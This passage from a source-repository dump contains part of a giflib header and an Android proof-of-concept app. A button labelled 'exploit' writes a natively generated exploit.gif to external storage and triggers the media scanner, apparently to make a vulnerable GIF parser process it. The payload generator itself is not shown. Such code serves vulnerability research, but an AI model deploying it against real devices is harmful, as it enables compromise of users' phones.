*Private, unsigned char *Line, const int LineLen); /***************************************************************************** Everything below this point is new after version 1.2, supporting `slurp mode' for doing I/O in two big belts with all the image-bashing in core. ******************************************************************************/ /****************************************************************************** Color map handling from gif_alloc.c ******************************************************************************/ extern ColorMapObject *GifMakeMapObject(uint_fast8_t BitsPerPixel, const GifColorType *ColorMap); extern void GifFreeMapObject(ColorMapObject *Object); //extern int GifBitSize(int n); #include #include #include #include /* * This is sqrt(SIZE_MAX+1), as s1*s2 <= SIZE_MAX * if both s1 < MUL_NO_OVERFLOW and s2 < MUL_NO_OVERFLOW */ #define MUL_NO_OVERFLOW ((size_t)1 << (sizeof(size_t) * 4)) __attribute__((always_inline)) static void *reallocarray(void *optr, size_t nmemb, size_t size) { if ((nmemb >= MUL_NO_OVERFLOW || size >= MUL_NO_OVERFLOW) && nmemb > 0 && SIZE_MAX / nmemb < size) { errno = ENOMEM; return NULL; } void *ret = realloc(optr, size * nmemb); LOGE("reallocarray(%p, %d) %p", optr, nmemb, ret); return ret; } /****************************************************************************** Support for the in-core structures allocation (slurp mode). ******************************************************************************/ //extern void GifFreeExtensions(int *ExtensionBlock_Count, // ExtensionBlock **ExtensionBlocks); extern void GifFreeSavedImages(GifFileType *GifFile); /****************************************************************************** 5.x functions for GIF89 graphics control blocks ******************************************************************************/ int DGifExtensionToGCB(const size_t GifExtensionLength, const GifByteType *GifExtension, GraphicsControlBlock *GCB); #endif /* _GIF_LIB_H */ /* end */ ================================================ FILE: MyApplication2/app/src/main/java/com/example/myapplication/MainActivity.java ================================================ package com.example.myapplication; import android.Manifest; import android.app.Activity; import android.content.Context; import android.content.pm.PackageManager; import android.content.res.AssetManager; import android.media.MediaScannerConnection; import android.net.Uri; import android.os.Environment; import android.support.v4.app.ActivityCompat; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.Button; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.File; public class MainActivity extends AppCompatActivity { // Used to load the 'native-lib' library on application startup. static { //System.loadLibrary("native-lib"); System.loadLibrary("pl_droidsonroids_gif"); } // Storage Permissions private static final int REQUEST_EXTERNAL_STORAGE = 1; private static String[] PERMISSIONS_STORAGE = { Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE }; /** * Checks if the app has permission to write to device storage * * If the app does not has permission then the user will be prompted to grant permissions * * @param activity */ public static void verifyStoragePermissions(Activity activity) { // Check if we have write permission int permission = ActivityCompat.checkSelfPermission(activity, Manifest.permission.WRITE_EXTERNAL_STORAGE); if (permission != PackageManager.PERMISSION_GRANTED) { // We don't have permission so prompt the user ActivityCompat.requestPermissions( activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE ); } } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); copyAssets(); verifyStoragePermissions(this); // Example of a call to a native method final Button b2 = (Button) findViewById(R.id.exploit); b2.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { File sdcard = Environment.getExternalStorageDirectory(); FileOutputStream os = null; File gif = new File(sdcard, "exploit.gif"); try { gif.createNewFile(); os = new FileOutputStream(gif); byte[] data = generateGif(); os.write(data); os.close(); } catch (Exception e) { Log.e("Test", "Exception", e); } final String path = gif.getAbsolutePath(); MediaScannerConnection.scanFile(MainActivity.this, new String[] { path }, null, new MediaScannerConnection.OnScanCompletedListener() { @Override public void onScanCompleted(String s, Uri uri) { Log.i("ExternalStorage", "Scanned " + path + " -> uri = " + uri); } }); } }); } private void copyAssets() { AssetManager assetManager = getAssets(); String[] files = null; try { files = assetManager.list(""); } catch (IOException e) { Log.e("tag", "Failed to get asset file list.", e); } for(String filename : files) { try { InputStream in = assetManager.open(filename); FileOutputStream out = openFileOutput(filename, Context.MODE_PRIVATE); copyFile(in, out); in.close(); out.flush(); out.close(); } catch(IOException e) { Log.e("tag", "Failed to copy asset file: " + filename, e); } } } private void copyFile(InputStream in, OutputStream out) throws IOException { byte[] buffer = new byte[1024]; int read; while((read = in.read(buffer)) != -1){ out.write(buffer, 0, read); } } /** * A native method that is implemented by the 'native-lib' native library, * which is packaged with this application. */ public native byte[] generateGif(); } ================================================ FILE: MyApplication2/app/src/main/res/drawable/ic_launcher_background.xml ================================================ ================================================ FILE: MyApplication2/app/src/main/res/drawable-v24/ic_launcher_foreground.xml ================================================ ================================================ FILE: MyApplication2/app/src/main/res/layout/activity_main.xml ================================================